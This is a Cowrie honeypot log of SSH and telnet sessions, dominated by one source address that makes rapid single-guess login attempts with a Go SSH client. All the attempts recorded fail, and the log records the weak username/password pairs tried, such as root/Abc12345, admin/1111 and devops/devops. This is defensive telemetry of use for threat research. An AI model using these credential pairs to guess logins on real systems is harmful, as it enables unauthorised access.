{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:30.745440Z","src_ip":"45.156.87.254","session":"a2d595dd45c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:31.832424Z","src_ip":"45.156.87.254","session":"a2d595dd45c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36674,"dst_ip":"159.203.135.109","dst_port":22,"session":"3246d6c9423c","protocol":"ssh","message":"New connection: 45.156.87.254:36674 (159.203.135.109:22) [session: 3246d6c9423c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:34.473542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:34.477746Z","src_ip":"45.156.87.254","session":"3246d6c9423c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:34.560933Z","src_ip":"45.156.87.254","session":"3246d6c9423c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:34.816840Z","src_ip":"45.156.87.254","session":"3246d6c9423c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.1335883140564,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:34.928557Z","src_ip":"20.123.41.163","session":"da96a480338a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:36.048353Z","src_ip":"45.156.87.254","session":"3246d6c9423c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36680,"dst_ip":"159.203.135.109","dst_port":22,"session":"7684bfd930ad","protocol":"ssh","message":"New connection: 45.156.87.254:36680 (159.203.135.109:22) [session: 7684bfd930ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:38.454662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:38.619723Z","src_ip":"45.156.87.254","session":"7684bfd930ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:38.623527Z","src_ip":"45.156.87.254","session":"7684bfd930ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:39.014714Z","src_ip":"45.156.87.254","session":"7684bfd930ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:40.099884Z","src_ip":"45.156.87.254","session":"7684bfd930ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45404,"dst_ip":"10.17.0.5","dst_port":23,"session":"c72f1fe9e9ac","protocol":"telnet","message":"New connection: 104.245.105.2:45404 (10.17.0.5:23) [session: c72f1fe9e9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:40.120636Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59664,"dst_ip":"159.203.135.109","dst_port":22,"session":"3308fffa51f2","protocol":"ssh","message":"New connection: 45.156.87.254:59664 (159.203.135.109:22) [session: 3308fffa51f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:42.855210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:42.859694Z","src_ip":"45.156.87.254","session":"3308fffa51f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:42.947608Z","src_ip":"45.156.87.254","session":"3308fffa51f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:43.246839Z","src_ip":"45.156.87.254","session":"3308fffa51f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:44.335433Z","src_ip":"45.156.87.254","session":"3308fffa51f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49594211578369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:45.445885Z","src_ip":"104.245.105.2","session":"742a0cb68f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59674,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e965196eb1","protocol":"ssh","message":"New connection: 45.156.87.254:59674 (159.203.135.109:22) [session: 63e965196eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:47.293543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:47.297013Z","src_ip":"45.156.87.254","session":"63e965196eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:47.399453Z","src_ip":"45.156.87.254","session":"63e965196eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:47.651336Z","src_ip":"45.156.87.254","session":"63e965196eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:48.738379Z","src_ip":"45.156.87.254","session":"63e965196eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34400,"dst_ip":"159.203.135.109","dst_port":22,"session":"25fcdbd10f17","protocol":"ssh","message":"New connection: 45.156.87.254:34400 (159.203.135.109:22) [session: 25fcdbd10f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:51.781682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:51.787072Z","src_ip":"45.156.87.254","session":"25fcdbd10f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:51.879037Z","src_ip":"45.156.87.254","session":"25fcdbd10f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:52.128881Z","src_ip":"45.156.87.254","session":"25fcdbd10f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:53.229010Z","src_ip":"45.156.87.254","session":"25fcdbd10f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cbdb0e0578","protocol":"ssh","message":"New connection: 45.156.87.254:34420 (159.203.135.109:22) [session: d6cbdb0e0578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:55.843888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:55.849323Z","src_ip":"45.156.87.254","session":"d6cbdb0e0578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:55.931808Z","src_ip":"45.156.87.254","session":"d6cbdb0e0578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:56.179413Z","src_ip":"45.156.87.254","session":"d6cbdb0e0578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:57.304538Z","src_ip":"45.156.87.254","session":"d6cbdb0e0578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":35100,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5fa5d911e7","protocol":"ssh","message":"New connection: 182.253.168.47:35100 (10.17.0.5:22) [session: 2e5fa5d911e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:59.436243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:59.440747Z","src_ip":"182.253.168.47","session":"2e5fa5d911e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53854,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a1198d3c680","protocol":"ssh","message":"New connection: 45.156.87.254:53854 (159.203.135.109:22) [session: 7a1198d3c680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:00.034043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:00.039001Z","src_ip":"45.156.87.254","session":"7a1198d3c680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:00.122835Z","src_ip":"45.156.87.254","session":"7a1198d3c680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:00.377811Z","src_ip":"45.156.87.254","session":"7a1198d3c680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:01.466012Z","src_ip":"45.156.87.254","session":"7a1198d3c680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53868,"dst_ip":"159.203.135.109","dst_port":22,"session":"62b84c55e693","protocol":"ssh","message":"New connection: 45.156.87.254:53868 (159.203.135.109:22) [session: 62b84c55e693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:04.099441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:04.104504Z","src_ip":"45.156.87.254","session":"62b84c55e693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:04.190423Z","src_ip":"45.156.87.254","session":"62b84c55e693","protocol":"ssh"}
